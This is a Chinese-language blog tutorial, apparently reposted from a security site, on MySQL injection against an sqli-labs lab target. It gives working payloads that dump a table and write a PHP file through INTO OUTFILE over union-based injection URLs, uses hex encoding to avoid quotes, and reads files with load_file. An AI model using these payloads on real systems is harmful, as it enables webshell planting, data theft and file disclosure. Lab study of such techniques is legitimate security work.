Mysql注入 -- 数据库导出及读文件

社会运行的规则和自己的不一样,不能我行我素,甚至有时还得违心讨好。。。

----  网易云热评   

一、数据库导出文件

1、连接数据库

2、通过into outfile导出数据库内容

select * from users into outfile "c:/1.sql";
Mysql注入 -- 数据库导出及读文件

3、通过into outfile语句,在C盘目录写入一句话木马

select '<?php phpinfo();?>' into outfile "c:/aiyou.php";
Mysql注入 -- 数据库导出及读文件

4、通过实例导出一句话,避免单引号问题,可以将一句话内容编码为十六进制

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,'<?php phpinfo();?>' into outfile 'c:/aiyou.php' --+http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,0x3c3f70687020706870696e666f28293b3f3e into outfile 'c:/aiyou.php' --+
Mysql注入 -- 数据库导出及读文件

提示:

导入文件需要修改mysql的一个参数值,打开my.cnf 或 my.ini,加入以下语句后重启mysql。

secure_file_priv=''

二、读文件

1、连接Mysql数据库,读取C盘的aiyou.php内容

select load_file("c:/aiyou.php");
Mysql注入 -- 数据库导出及读文件

2、通过联合查询,将读到的内容显示出来,为避免引号的问题,将路径编码为十六进制

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,load_file("c:/1.sql");http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,load_file(0x633a2f312e73716c) --+
Mysql注入 -- 数据库导出及读文件

 

禁止非法,后果自负

欢迎关注公众号:web安全工具库

欢迎关注视频号:之乎者也吧

Mysql注入 -- 数据库导出及读文件 Mysql注入 -- 数据库导出及读文件 Mysql注入 -- 数据库导出及读文件

版权声明:玥玥 发表于 2021-05-13 18:59:41。
转载请注明:Mysql注入 -- 数据库导出及读文件 | 女黑客导航